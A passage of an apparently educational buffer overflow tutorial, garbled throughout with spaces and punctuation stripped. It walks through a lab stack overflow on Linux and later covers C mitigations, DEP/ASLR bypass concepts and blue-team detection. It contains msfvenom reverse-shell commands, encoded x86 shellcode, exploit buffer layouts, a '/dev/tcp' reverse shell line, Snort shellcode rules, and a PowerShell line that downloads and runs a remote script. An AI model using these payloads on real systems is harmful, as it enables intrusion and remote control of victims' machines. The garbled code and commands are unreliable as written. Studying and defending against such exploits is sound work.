msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d

x86encodedShellCode

xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1

x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f

xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0

xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45

x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33

x21x0bx8fxc0xd9xbbxe0x09x7bx55x76xb6x29xf6x01

xd8x7dxf3xdcx9b

TheMSFVENOMtoolisextremelyfeaturerichItiseasytorunitblindlybasedonsomeblogortrainingcoursewithoutfully

understandingthedetailsbehindthepayloadsencodersandoutputUsingourexampleIrsquollgivea60secondbreakdownItrsquosreally

worthreadingthemanpageonmsfvenomtounderstandthearchitecturesandencoders

- p=payloadwherepayloadcouldbelowlevelassemblycompiledjavajspshellcommandscrossplatform

- shell_reversewheretheUnderscoremeansasinglestagedpayloadThismeanstheentireremotecodeexecutionoccursina

singlegoAlternativelyamulti-stagedpayloadmightinjectaldquodownloaderrdquothenrunthedownloadedagainsttheattackerrsquos

ldquoWebServerrdquotogetadditionalremotecodecommandexecutionThinkstage1ldquocurl-sattackeripmalwarerdquowhilestage2is

malwareldquobinsh-igtampdevtcp12700144440gtamp1rdquoorsometihngfarbiggerandmoreadvanced

- f=formathellipThatcanberawCJSPshelletcetc

- -eistheencoderinthiscaseforthex86architecturewersquoreworkingonbuttherearemanymanymore

- -baretheldquobadrdquocharactersIrsquoveincludedafewexampleshere

Wheredoweputourmalware

While writing these notes I first put the shell code at the beginning of the buffer before EIP Letrsquos think about this for a second in the

clientpyscriptputtingthemalwarebeforeEIPlookslikethis

NOPSLED+MALWARE+EIP(RETURNBEFOREMALWARE)+NOPS

Personally I found the first approach difficult for this C program because the NOPSLED overwrote 90rsquos to all my registers This is

important because I had no OP CODE which I could use to dynamically jump into the NOPSLED before the MALWARE I was left

manually searching for a memory address of my NOPSLED and hard coding the memory address into the program This is inferior

because you may want to test larger MALWARE which could overwrite your memory address or you may have a different memory

address when you run this exploit on a target system outside of your lab Once again hard coding the return point is bad and

unfortunatelytheNOPSLEDbeforeEIPdidntgivememuchtodynamicallyjumpinto

HoweverIdidfindthatputtingmymalwareafterEIPopenedsomenewdoorsThisapproachlooksclosertothesyntaxbelow

NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS

LikebeforewhenfindingJUMPESPyoucantestthisoutbygeneratingcodesimilartothecodebelow

malware=x41x30

eip=x97xcfxfaxb7

eip=x41x41x41x41

ending=x90200

nopsled=(x41(1000-len(malware)))

MESSAGE=x901040+eip+nopsled+malware+ending

After updating the code in the clientpy script go ahead and run the attack against the vulnerable server while in EDB debug mode Then

look into your register windows and try to ldquoFindrdquo any x90rsquos or if you used Arsquos x41rsquos If you find a register in my case ESP I overwrote

with a bunch of x41rsquos So instead of manually hard coded a memory location into the exploit I can now simply reference by ESP register

pointertojumpintothenopsled

One point here that was omitted online is the value of this In order to ldquoJumprdquo into all those ldquoArsquos you will need a librarydll with that

specific x86 operation code which your program has access to Letrsquos say Windows or Linux has a library with a JMP ESP command that

can program can call then your exploit becomes more portable because you can simply call that library Plus if you want to try out

bigger malware payloads you donrsquot have to go down into lower memory locations and hard code the new NOP location to ldquomake roomrdquo

for a bigger payload With memory protections enabled I suspect this becomes more complex but I think for now wersquoll go with the shell

codeaftertheEIPsowecanjumpintoESP

NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS

BadCharactersinCustomMalwareIfyouweretoattempttofindyourownbufferoverflowinapieceofsoftwareandwriteyourownremotecodeexecutionorremotecommandexecutionyouwouldfindthatsomecharactersarereservedforpromotinglanguageandassemblerForexamplex00isusedforNULLpointterminationinCwhichindicatesanendofanarrayorbufferandtellsaprogramtostopatthepointitseesx00OtherlanguagesmayhavesimilarreservedtypeofcharactersyouwanttocommitAsanoverlysimplifiedexamplehellip

x86encodedShellCodewBadCharacters(Fornextsection)

xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1

x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f

xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0

xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45

x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33

x21x0bx8fxc0xd9xbbxe0x09x7bx00x00x55x76xb6x29xf6x01

xd8x7dxf3xdcx9bx00x00

Nowletrsquosupdateourclientpycodetoreflectthesechangesandincludethereverseshellpayloadwejustmade

UpdatedclientpyCodewiththeldquoBadCharactercoderdquo

Wersquore getting close to the moment of truth The expected behavior is when turn on another netcat listener on port 4444 and run the

clientpy the clientpy script will attack the vulnerable tcp server and write our malicious code into the vulnerable serverrsquos buffer and

overwrite EIP with a memory pointer that will tell the CPU to ldquogo backrdquo to our malicious command which will ultimately create a

connection back to the ldquoattackerrdquo on the listening 4444 port However because we have ldquoBad Charactersrdquo we know the connection

willfail

Enablenetcatonport4444(nc-lvp4444)

TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB

Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)

WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444

We notice that the attack fails because the connection back to our attacking machine (farthest right) does not respond to our ID or

WHOIScommandsLetrsquosinvestigate

1 RightclickEIPinRegisterWindowsrarrFollowinDump

2 ScrollaroundandfindthemalwareinbetweentheNOPSLEDandNOPending

3 Lookforx00commandsandtrytonoticeanythingorstrange

WhattheTargetMachineSees

Whatwesentover

We go through each HEX character one by one and notice if any original character from the client payload are omittedgoofed up etc

etc This is a slow and tedious part of the process and arguably the best opportunity to learn We see a whole string of characters does

not ldquomatchrdquo So what happened The bad characters are reserved for various operations and memory locations If you send an OP

CODE for example then the machine will just process it ldquoas isrdquo not knowing that the characters you sent are part of a specific sequence

of characters to form a command In an environment where you are trying to encode BASH command or x86 x64 you will run into

various characters that your malware payloads canrsquot use If you donrsquot spend the time checking the memory dump for bad

charactersthenyouwillhavemanysadandlonelyhoursbehindthekeyboard

So we have to generate a payload that can omit bad characters Luckily we have a program to help us generate x86 shellcode and

omitcharacters

msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d

TestingforbadcharactersisthebestwayforyoutolearnthedebuggerassemblyandHEXYoucandoitatleasttwowaysthatIknow

ofhellip

1 UseagiantblobofallASCIcharactersinHEX

2 Generateacouplesimplepayloadsyouwanttoexecuteandwalkthroughthepayloadlinebyline

Howtotestforbadcharactersandotherassemblyandregisterissues

Terminal1Server1337

Terminal2edb(orGDBIwonrsquotjudge)

fromedbrarrattachrarrServer

fromedbrarrdebugrarrclickrunrarrclickrunagainrarrlookatbottompainandseeiftheprogramisrunning

Terminal3ExecutetheclientscriptwithyourmaliciouspayloadpadwithArsquosorNOPSsoyoucanldquoFindrdquoyourcodequicklyinmemory

Yoursquollbelookingforx41orx90rsquos

Option1-AlltheASCII

x01x02x03x04x05x06x07x08x09x0ax0bx0cx0dx0ex0fx10

x11x12x13x14x15x16x17x18x19x1ax1bx1cx1dx1ex1fx20

x21x22x23x24x25x26x27x28x29x2ax2bx2cx2dx2ex2fx30

x31x32x33x34x35x36x37x38x39x3ax3bx3cx3dx3ex3fx40

x41x42x43x44x45x46x47x48x49x4ax4bx4cx4dx4ex4fx50

x51x52x53x54x55x56x57x58x59x5ax5bx5cx5dx5ex5fx60

x61x62x63x64x65x66x67x68x69x6ax6bx6cx6dx6ex6fx70

x71x72x73x74x75x76x77x78x79x7ax7bx7cx7dx7ex7fx80

x81x82x83x84x85x86x87x88x89x8ax8bx8cx8dx8ex8fx90

x91x92x93x94x95x96x97x98x99x9ax9bx9cx9dx9ex9fxa0

xa1xa2xa3xa4xa5xa6xa7xa8xa9xaaxabxacxadxaexafxb0

xb1xb2xb3xb4xb5xb6xb7xb8xb9xbaxbbxbcxbdxbexbfxc0

xc1xc2xc3xc4xc5xc6xc7xc8xc9xcaxcbxccxcdxcexcfxd0

xd1xd2xd3xd4xd5xd6xd7xd8xd9xdaxdbxdcxddxdexdfxe0

xe1xe2xe3xe4xe5xe6xe7xe8xe9xeaxebxecxedxeexefxf0xf1xf2xf3xf4xf5xf6xf7xf8xf9xfaxfbxfcxfdxfexff

Option2-Testsomespecificcommands

msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d

xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1

x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f

x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a

x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0

x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91

xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1

x7dxaaxa8x1cxfd

The-bx00x0ax0doptioninthecommandwillomitthex00rsquosfromtheoutputPreviouslyIpurposelyinsertedsomepeskyx00rsquosinto

thisshellcodeforillustrationTherealityisthatevenMSFVENOMmayoutputapayloadwithbadcharacterandyoustillneedtotest

Anothernoteisthattrytouseaverysimplepieceofmalwareforthefirstcodeexecution

ldquoThelargermoreadvancedthemalwareisinthebufferoverflowsthemorelikelyyouaretorunintobadcharacterandotherruntime

issuesitrsquosjustsimplemathhellipmorecharactersmorechancesforfailurerdquo

KeepitsimpleandsmallYoudonrsquotalwaysneedreverseshellsandmaybeyoucanrsquotuseareverseshellbecauseofbadcharactersor

hardeningRememberyoucanalwaysgetabiggerpayloadorbinarydowntothemachinewithasimpleTFTPGETCURLorECHO

commandLetrsquosruntheattackwiththebadcharactersomittedandseeifwecanlandashell

NewPayload

xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1

x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f

x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a

x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0

x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91

xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1

x7dxaaxa8x1cxfd

Enablenetcatonport4444(nc-lvp4444)

TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB

Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)

WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444

ClickldquoRunthroughprogramrdquobecauseyoumaybecaughtindebugmode

FinalResults

SuccessItlookslikethestackwasoverwrittenandwesuccessfullytoldEIPtopointintoourNOPSELDlocatedinESPFromthere

theCPUranthroughthememoryuntilitgotourmaliciouscodeThereverseshellcommandexecutedinthestackandconnectedback

toourldquoattackingrdquoterminal(farthestright)

CommonBufferOverflowExampleandMitigations(inC)

WhetheryourwritingsourceoryoujustreversedengineeredacompiledbinarywithGHIDRAyoumaywanttoknowwhichfunctionsare

morelikelytocauseanoverflowOlderClibraryfunctionslikestrcpy()strcat()sprintf()andvsprintf()operateonnullterminated

stringsandperformnoboundscheckingGets()isanotherfunctionthatreadsinput(intoabuffer)fromstdinuntilaterminatingnewline

orEOF(EndofFile)isfoundThescanf()familyoffunctionsalsomayresultinbufferoverflowsUsingstrncpy()strncat()snprintf()

andfgets()allmitigatethisproblembyspecifyingamaximumstringlengthofNHerersquosafewwelldocumentedexamplesIprovidedthe

assemblyinstructionstoillustratethatyoumightbeabletoreverseengineerwhereBOrsquospresentthemselvesfromobservingthe

registersofacompiledbinaryorreviewingtheoutputfromGHIDRA

gets

Thestdiogets()functiondoesnotcheckforbufferlengthandalwaysresultsinavulnerability

VulnerableCode(SOURCE)

printfexternallink(Inputsomethingnastyhere)

gets(something)

VulnerableCode(ASSEMBLY)

FixedCode

printfexternallink(Inputsomethingnastyhere)

fgets(usernameLENGTHstdin)

strcpy

Thestrcpybuilt-infunctiondoesnotnativelycheckbufferlengthsAsillustratedinourexampleiscanoverwritememoryzone

contiguoustomemorywherethepayloadisstored

VulnerableCode

charstr1[10]

charstr2[]=badstuffhere

strcpy(str1str2)

FixedCode(SOURCE)

enumBUFFER_LIMIT=1024

intmain()

chardst[BUFFER_LIMIT]

charsrc[]=badstuffhere

intbuffer_length=strlcpy(dstsrcBUFFER_LIMIT)

if(buffer_lengthgt=BUFFER_LIMIT)

printfexternallink(Stoptryingtooverflowmybufferd(disthelengthn

buffer_lengthBUFFER_LIMIT-1)

VulnerableCode(ASSEMBLY)

Anotherwaytomitigatestrcpyissuethatcomesupinblogsandowaspisstrncpywhichcanpreventbufferoverflows

FixedCode(SOURCE)

enumBUFFER_BOUNDARY_SIZE=1024

charstr1[BUFFER_BOUNDARY_SIZE]

charstr2[]=badstuffhere

strncpy(str1str2BUFFER_BOUNDARY_SIZE)limitsthenumberofcharacterstobecopiedtofizedlengthofbuffersize

strcat

YoumayalsoseetheuseofstrcatinsteadofstrncatstrcatdoesnotnativelysupportsettinganNlimitontheargumentpassedinto

thebufferAppendsthefirstnumcharactersofsourcetodestinationplusaterminatingnull-characterIfthelengthoftheCstringin

sourceislessthannumonlythecontentuptotheterminatingnull-characteriscopied

FixedCode(SOURCE)

defineBUFFER_BOUNDARY_SIZE1024

charbuff[BUFFER_BOUNDARY_SIZE]

Usesecurestrncpythenuse

strlcpy(buffString1BUFFER_BOUNDARY_SIZE-1)

buff[BUFFER_BOUNDARY_SIZE-1]=0

strncat(buffString2BUFFER_BOUNDARY_SIZE-strlen(buff)-1)

strcmp

ComparestheCstringstr1totheCstringstr2ThisfunctionstartscomparingthefirstcharacterofeachstringIftheyareequaltoeach

otheritcontinueswiththefollowingpairsuntilthecharactersdifferoruntilaterminatingnull-characterisreachedStrcmpdoesnot

validatethesizeoftheinputagainstthepredefinedbuffer

OtherMitigationstoBufferOverflows

During this tutorial I asked you to disable a few protections so we can perform a basic overflow PoC For example you had disable

ASLR in Linux using the procsyskernelrandomize_va_space interface You may have noticed the compiled C binaries needed the

following arguments -fno-stack-protector and -z execstac passed at compile time to remove C memory protections Modern exploits

need to bypass these advanced mechanisms so therersquos an entirely new rabbit hole Irsquoll only cover a few very broad areas here for my

own interest and to set myself up for further PoCrsquos and papers in the journey ahead The following should be just enough for the

newcomertodiptheirtoesintothesubjects

Canary

A less useful protections involves a method called a stack canary protections A stack canary work by modifying every functions

prologue and epilogue regions to assign a special ldquoCanaryrdquo character and check if the canary value is on the stack If not the canary

ldquosingsrdquo to warn you lol An example is The Stack Smashing Protector (SSP) compiler feature which according to their website helps

detect stack buffer overrun by aborting if a secret value on the stack is changed SSP even admits that if an attacker can properly

overwriteorjumpacanaryinstructionitispossibletobypasstheprotectionHereareafewresourcesIrsquovestartedwith

https0x00secorgtexploit-mitigation-techniques-stack-canaries5085

httpswwwrapid7comresourcesstructured-exception-handler-overwrite-explained

httpswwwexploit-dbcomdocsenglish17505-structured-exception-handler-exploitationpdf

DEP-DataExecutionProtection

DEP or executable-space protection specifically flags some memory regions as non-executable The intent is that when malware

executes the machine code in the protected regions it will cause an execution exception Flagging the memory regions and registers as

non-executablemeanstheattackerscodecannotberunUltimatelythismakesithardertoachieveofbufferoverruns

For example according the Linux man page on execstack ldquoexecstack is a program which sets clears or queries executable stack flag

of ELF binaries and shared librariesrdquo Another note your compiled binaries could be flagged with a no execution bit (NX) while other

linked libraries may still have executable stacks This is where problems arise -fno-stack-protectactor disables stack overflow

security checks for certain (or all) routines When option -fstack-protector-strong is specified it enables stack overflow security checks

forroutineswithanytypeofbuffer

In modern Windows software DEP is configured at system boot via a policy setting in the boot configuration data An application can get

the current policy setting by calling the GetSystemDEPPolicy function Hardware DEP is typically enabled by default in at the

bootloader but can be disabled with physical access Depending on the policy setting an User-Land application can change the DEP

setting for the current process by calling the SetProcessDEPPolicy function Allowing user-land changes is where developers may

introduceunprotectedcompiledbinariesThefollowinglinksareexamplesofhowtoimplementDEP

httpslwnnetArticles422487

httpslinuxdienetman8execstack

httpssupportmicrosoftcomen-ushelp875352a-detailed-description-of-the-data-execution-prevention-dep-feature-in

httpssupportmicrosoftcomen-ushelp912923how-to-determine-that-hardware-dep-is-available-and-configured-on-your

httpsdocsmicrosoftcomen-uswindows-hardwaredriversdevtestboot-parameters-to-configure-dep-and-pae

BypassingDEP

Bypassing DEP and NX requires a method called Return-Oriented Programming My first introduction to this concept was thanks to

David Maloney Sr Security Researcher at Rapid7 who had a great youtube video online that covered the concept at 1000 feet view

ThevideofirstmentionsamethoddevelopedgoingtoreturntolibcandthendiscussesReturnObjectProgrammingorROPchaining

So if stack execution is enabled wersquod expect that an attempt to execute from the stack will result in a terminated process and the cpu

will throw a segmentation fault In the return to lib C method instead of overwriting EIP with a JUMP ESP instruction like this PoC you

overwritetheInstructionPointerwithfunctionsfromwithinlibclibrary

arguments Another thing I learned is that libC is not required however it is just the most likely available and most common target in

linux In a libC example I found it was as simple as finding the memory location for system() and calling binbash which was executable

in memory As a counter defense some folks remove functions from libraries that can result in this type of chained execution Another

option which does not rely on calls to external executable functions is Return Object Programming or ROP chaining As mentioned in

the video your exploit must make use of instruction sequences available in the program yoursquore attacking or libraries linked to the

application aka ldquorop gadgetsrdquo When reading about ROP gadget I came across a line that explained there are intended sequences of

instructions and unintended sequences of instructions Hmmmmm why Because misspelling copy and pasting code hellip nope

somethingmoretrvialIrsquollre-usethisquotebecauseitwasafunpuzzle

ldquoWhat Unintended how come well if you look at a sentence like ldquothe articlerdquo the writer intended to say ldquothe articlerdquo but he didnrsquot

intendtohavethewordldquoheartrdquodidherdquo

Basically the instructions wersquore looking for end in RET aka ldquoReturnrdquo You chain a bunch of these assembly instructions together in your

payload until you get a command that can perform similar execution to the malware we used in our simple PoC You can find ROP

gadgets with the following in Immunity Debugger mona rop -m dll -cp nonull or in linux you can try simple text search for RET

instructionorROPgadgetToolonGithHuborVNsecuritycalledROPemeandorprocpidmaps

An example used in a linked exploit-db article is chaining a bunch of ROP gadgets together to basically execute

ldquoexecve(ldquobinshrdquo00)rdquo Execve executes the program pointed to by filename filename must be either a binary executable or a script

which in our case would be something like a variable equal to our reverse shell command binsh -i gtamp devtcp1270014444 0gtamp1

But when Windows or Linux has ASLR enabled libraries those binaries will have a randomized virtual memory space so it makes it

difficulttocallexecve()orsystem()

Another technique to bypass DEP makes use of native API that can change the execution flag on your memory spaces Examples Irsquove

found include VirtualAlloc HeapCreateVirtualProtect APIs If you can call upon these functions then you may be able to either create

a new executable space or change the flag for existing executable space However finding the memory addresses to these functions

andcallingthemappearstobeadifferentstory

httpsgithubcomJonathanSalwanROPgadget

httpswwwrapid7comresourcesrop-exploit-explained

httpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdf

httpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdf

httpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programmi

ng-chains]pdf

ASLR(Addressspacelayoutrandomization)

Inourexampleyoumayhavenoticedthatwecoulddirectlypullamemoryaddressandre-usethataddressinorubufferoverflowPoCThisisbecausewedisabledASLRviaLinuxecho0|sudoteeprocsyskernelrandomize_va_spaceWindows[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSessionManagerMemoryManagement]ldquoMoveImagesrdquo=dword00000000Addressspacelayoutrandomization(ASLR)isamechanisminvolvedinreducingreliabilityofexploitationviamemorycorruptionattacksliketheBufferOverflowinthisPoCInourPoCyoumayhavenoticedwepulledthehardwarememorylocationsofourbinariesandthenpointedbacktothosehardwarememorylocationsIfyoucanobscurethosememorylocationssuchthatpredictingthemisincreasinglydifficultthenthebarrierentryinexploitwritingandexecutionbecomesharderForexampleweusedJMPESPmemorylocationtoslidebackintoourNOPSLEDASLRwouldrandomlyarrangesthevirtualmemoryaddressspacepositionsofkeydataareasofaprocessincludingthebaseoftheexecutableandthepositionsofthestackheapandlibrarieswhentheythebinaryisloadedIfwewanttojumpintoaROPgadgetorcallnativeAPIrsquosandDLLshowwouldwedoitifwecanrsquotaccuratelyupdatearegistrypointerwiththememorylocation

BypassingASLR

Admittedly this is a very deep rabbit hole Most write-ups and video tutorials require an expert level knowledge of assembly and

windowslinux software architecture beyond what I intended this write-up for Irsquoll do my best to boil what Irsquove learned down into digestible

chunksandhopefullythishelpsguidemyselfandotherfurtherstudies

NonASLRlinkedbinaries

It seems like that as Windows and Linux made the transition to ASLR in the early 2000rsquos that about a decade later they were left with

some non ASLR binaries for cross compatibility It could even be that some custom application you downloaded ported over something

that is specifically ASLR disabled I found an example of this in the following two articles hellip Attacking specific functions within non ASLR

enabled binaries appears to be an early method where if we could find a ldquouniversalrdquo DLL in windows or linux we may be able to call the

memory address of JMP ESP or ROP GADGET or similar from there The point is a combination of an insecure ASLR enabled program

with access or links to a non ASLR binary results in access instructions and predictable memory locations that can be used to bypass

ASLRandbeginaROPattack

httpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdf

httpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdf

PointerLeaksDanglingPointers

If you dig deep enough yoursquoll find some mention of modern attacks using dangling pointers or pointer leakers to bypass ASLR This isnrsquot

for the faint of heart and probably not for a newcomer like myself but I like rabbit holes A dangling pointer bug can be used to put code

into an application An object put into memory is allocated a space in heap and object functions are typically managed via a VFTABLE

which creates virtual pointers which reference the actual object in HEAP My understanding is that if you can overwrite the memory

object in HEAP with exact procesion at the exact time after it has be de-allocated from memory but before it has been destructed that

the object space can be overwritten with malicious code This is due to how allocation of heap is managed de-allocated freed and how

virtualfunctionsarereferencedviavirtualtables

httpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdf

httpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdf

httpswwwrapid7comresourceswhy-you-should-be-using-emet

HEAPSprayswithASLRdisabledVirtualAlloc()inWindows

If you canrsquot find memory location of instructions in ASLR protected binaries and libraries it appears you can spray the heap and create

write chunks to memory of NOPs and malware You would likely still need to bypass DEP so ROP chains still apply however you can

either look for non ASLR binary to ROP or spray ROP gadgets in the blocks passed to HEAP Spraying Heap with memory allocated by

VirtualAlloc() appears to have been a successful method by bypass ASLR because VirtualAlloc() was not ASLR protected but this

seemslikejustplainluck

httpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystified

httpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdf

BlueteamEngineeringforpostBufferOverflow

For my own general curiosity I wanted to end this PoC with some notes on how detect a Buffer Overflow attack My intent is to just

learn and see where it takes me As a newcomer maybe this will help paint a better picture of cyber-security as a whole Because BOrsquos

are memory attacks it can be difficult to detect unless you have a low level program monitoring for Canary issues NX issues

SEGVFAULT x90rsquos ROPs etc Windows has offered EMET historically and more recently offered an IPSIDS in Windows Defender to

Enterprise There are also some ldquoNext Genrdquo IDSIPS that install in kernel space which have the logic to look for such events As I

thoughtthroughthisIlumpedthedetectionintotwobuckets

1 DetectingFailedBufferOverflowAttempts

2 DetectingSuccessfullyBufferOverflowAttempts

DetectingFailedBufferOverAttemptsinWindows

If you want to hunt attackers who attempt buffer overflow you can turn to the logs For examples EMET (Windows ASLRDEP) events

are logged as a Windows event source called EMET More modern Windows Defender Exploit Guard follows a similar pattern as the

oneIrsquomgoingtooutlineEMETDefenderlogscanbefoundintheWindowsApplicationlog

For EMET there are three levels Information Warning and Error Information messages are used for logging usual operation such as

the EMET Notifier starting Warning messages are used when EMET settings change Error messages are used for logging cases

whereEMETstoppedanapplicationwithoneofitsmitigationswhichmeansanactiveattackhasbeenblocked

EMET and Defender logs can be sent to a central log collection server or from the local machine Irsquoll refer to an example where their

sent to a central log collector parsed then sent onto your SIEM Here is a brief example of an a SPLUNK integration on Windows but a

similarmodelcouldbedeployedwithSyslogSyslogServersandanELKStackactingasaSIEM

Yoursquoll need to ensure your local endpoints are configured to log EMET via GPO Windows Event Collector service is enabled and a

collection server is deployed Here is an example of a local local log policy setting to push down to the endpoints being monitored via

GPOetc

ltQueryListgt

ltQueryId=0Path=Applicationgt

ltSelectPath=Applicationgt[System[Provider[Name=EMET]and(Level=2)]]ltSelectgt

ltQuerygt

ltQueryListgt

To analyze the EMET data in Splunk yoursquoll need to install the Splunk Universal Forwarder on the central log collection server and

configure it to send logs from the collectorsyslog server to a Splunk indexer Splunk Indexer is just a fancy way to say a network service

to send your logs to which has some special logic to parser filter transform and write your logs in a unique format to Splunk based on

somepredefinedSplunkpolicy

Yoursquoll may need to set a filter on the central log server to parse the events for the EMET alerts before sending them on Below is an

exampleoftheWindowseventssubscriptionfilterRememberthedefaultlocationofforwardedlogeventsistheForwardedEventslog

The following is a Splunk sample configurations that can be used in the Splunk inputsconf file on the central log collection server

BasicallythispolicysayswhichlogscangetsentontotheSIEM

[WinEventLogForwardedEvents]

disabled=0

renderXml=1

evt_resolve_ad_obj=1

The above policy config tells the Splunk Universal Forwarder to monitor the Forwarded Events log on the log collection server and to

and send the events in XML format allows for facilitated extraction of information in Splunk to aid in the creation of useful Splunk

queries

SampleEMETEvent

EMETversion55587131892

EMETdetectedEAF+mitigationandwillclosetheapplicationIEXPLOREEXE

EAF+checkfailed

ApplicationCProgramFiles(x86)InternetExplorerIEXPLOREEXE

UserNameDOMAINuser

SessionID1

PID0x1348(4936)

TID0xF90(3984)

ModuleSOMEDLLdll

ModBase0x11630000

ModAddress0x11642E99

MemAddress0x76F501A4

Your Blue Team can configure an alert based on these results Consider correlating the alert with internal ranking of the assets value to

prioritize the response For example an alert like this on a PCI system or system storing your unreleased Intellectual Property may

need immediate action compared to a non production server being pen tested Although a non production server sounds like a nice

beachheadtomaintainafoothold

httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdf

httpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-server

DetectingSuccessfulBufferOverAttempts

The Blue Team philosophy is to assume your compromise and look for Indicators of Compromise In this model we assume the attacker

has successfully launched a buffer overflow and gained command and control over the asset Which means our mitigations have failed

which they will In my mind there are two techniques Irsquod lie to cover Irsquom sure there are more but as a newcomer I think these two

approachespaintsasolidpicture

1) Networkbasedsignaturedetection(Thismayalsocatchunsuccessfulattempts)

2) Hostbasedsignaturedetection

NetworkBasedDetection

Letrsquos consider the basic reverse shell we created with MSFVENOM from metasploit and packched into our malware variable in the

clientpyscriptWhenthisattackoccursithasafewuniquecharacteristicsinsidethenetworkcommunication

1 EncodedHEXpayloadmalwarewithintheclientattack

2 Abunchofx90rsquoswithintheclientattack

3 possiblybinbashorotheruniquestringssentbackinthereverseshellasSTIOtotheattackersterminal

If you had an inline or passive IDS which had access to the buffer overflow network packets a Blue Teams will likely have

SNORTSURICATA rules which alert on signatures that match our payload This is because the commands to gain a reverse shell from

bash sh python etc are universally known Irsquove included a few examples of emerging shell_code SNORT rules that look for metasploit

generatedBSDshellcode

alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 2)

content|6a 61 58 99 52 42 52 42 52 68| fast_patternonly referenceurldocemergingthreatsnet2010416

classtypeshellcode-detect sid2010416 rev4 metadataaffected_product Any attack_target Client_and_Server deployment

Perimeter deployment Internet deployment Internal deployment Datacenter tag Metasploit signature_severity Critical created_at

2010_07_30updated_at2016_07_01)

alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 3)

content|89 e1 6a 10 51 50 51 97 6a 62 58 cd 80 6a 02 59 b0 5a 51 57| fast_patternonly

referenceurldocemergingthreatsnet2010417 classtypeshellcode-detect sid2010417 rev4 metadataaffected_product Any

attack_target Client_and_Server deployment Perimeter deployment Internet deployment Internal deployment Datacenter tag

Metasploitsignature_severityCriticalcreated_at2010_07_30updated_at2016_07_01)

Modern attacks occur over TLSSSL over tcp communications these days which means detecting our payload would be difficult to nearly

impossible Blue-teams may counter encrypted communication with TLS interception and packet inspection To further evade TLS

interception crypters encoders custom encoded code or polymorphic code would need to be written Irsquove even heard of padding the

payloadsolargethattherulesareignoredduetoperformanceaswellSneaky

HostBasedDetection

In this model you assume the target has already been breached Maybe EMET was disabled or the attack was highly sophisticated and

made it past your defenses Whatever the case the attacker now has command and control over your machine thanks to a Buffer

OverflowLuckilyattackerpatternsofbehaviorarerelativelypredictableWhatdoesthatmean

Consideriftheactivedirectorylogsshowdirectoryenumerationssuchas

netviewdomain

netuserdomain

netaccountsdomain

Considerifthelocalhostlogsshowlocalaseriesofenumerationscommandssuchas

systeminfo

netlocalgroupldquoAdministratorsrdquo

uname-a

catprocissue

Considermoreadvancedpost-exploitattemptstobypassdetectionviaPowerShell

start-Process -FilePath nssmexe -ArgumentList lsquoinstall MaliciousService ldquoCWindowsSystem32WindowsPowerShellv10powershellexerdquo ldquo-command ldquoamp CScriptsMonitorps1 Start-Monitoring rdquordquo lsquo -NoNewWindow-Wait

powershellexe-execbypassndashnoprofilendashciex(New-ObjectNetWebClient)DownloadString

(http10022108081CodeExecutionInvoke-Shellcodeps1)

